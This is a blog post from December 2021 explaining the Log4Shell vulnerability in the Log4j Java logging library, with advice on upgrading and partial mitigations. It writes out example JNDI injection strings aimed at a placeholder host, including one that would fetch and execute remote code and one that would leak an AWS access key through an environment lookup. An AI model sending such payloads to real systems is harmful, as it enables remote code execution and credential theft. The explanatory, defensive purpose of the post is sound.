Log4J zero-day vulnerability demystified - Log4Shell
AK DevCraft
Posted on December 17, 2021
Probably you have already heard about Log4J vulnerability and the chaos it has created all over the world in the software industry. And how it has forced every software enterprise to join the race for patching log4j vulnerability ASAP.
What is log4j?
You probably know about log4j, but just in case you don't know it. Log4j is a matured and few decades old Java logging library used in millions of trillions of Java lines of code in various organizations to write application logs.
Some Background
Log4j supports expression to log the value in the application log files, which is obviously a good feature, that way you avoid using string concatenation.
E.g.
logger.info("User auth was successful: {}", user.getUserId());
However, via the same expression, you can also log value via special expressions such as JNDI (Java Naming and Directory Interface) or environment lookup.
E.g.
logger.info("Performing remote lookup: {}", "${jndi:ldap://192.168.1.1:8000/O=akdev,C=log4j}");
As you must be knowing that JNDI is an ancient J2EE specification that was used to read remote objects decades ago before RESTful came into the picture. JNDI was used to communicate in distributed systems when running in J2EE container servers like WebLogic, JBoss, etc.
Vulnerability
So what's the issue? So far all good, however, if a hacker tries to inject a JNDI lookup of a malicious remote server in a web page that accepts user input, and which prints input field value (that is what we generally do) in log, then it is a call for trouble!
To explain it differently, let's take a hypothetical example of the Google search text box. And let's say Google is logging all search texts (probably that’s true😉, obviously for machine learning😂) using the log4j library as below:
logger.info("google search text: {}", searchText);
And hacker knows about it, so a hacker will search a malicious text like ${jndi:ldap://hackit/executeremote}
and this value will be substituted in the above log statement, replacing the curly braces and will be executed on the running JVM.
google search text: ${jndi:ldap://hackit/executeremote}
This will force JVM to perform the remote lookup from JVM to an external server, where some malicious code may get transmitted back to your JVM and now the malicious code/object is injected into the JVM by the hacker and they may get control of your application.
And this is not the only way to pass the malicious input, in case you're logging the HTTP headers and the hacker passes a similar malicious string in it, a remote execution will happen.
So how to fix it? Best and simple way to fix is to upgrade the log4j to version 2.16.0. If you're using Maven or Gradle built tools it can be done with dependencyManagement, explicit dependency declaration, or in Gradle's case using dependency constraints.
However, updating dependency is easier said than done. So in case it's not possible then patch the class directly.
There is also a partial fix, where you can disable JNDI lookup. But as log4j support environment variable lookup as well, and if hacker input a string such as ${jndi:ldap://hackit/${env.AWS_ACCESS_KEY_ID}}
, then even if you disable the incoming call to the JVM by disabling JNDI lookup, the outgoing call would have been made and AWS access key id or similar secret will be compromised.
Reference
My other blogs:
- Private Cloud Vs Public Cloud Computing
- Containers Vs Virtual Machines, which is better and why?
- Why we need multiple code analysis tools?
- What is WAI-ARIA and why we need it?
- React Application Testing Strategy
If you have reached here, then I did a satisfactory effort to keep you reading. Please be kind to leave any comments or ask for any corrections. Happy Logging!
Posted on December 17, 2021
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.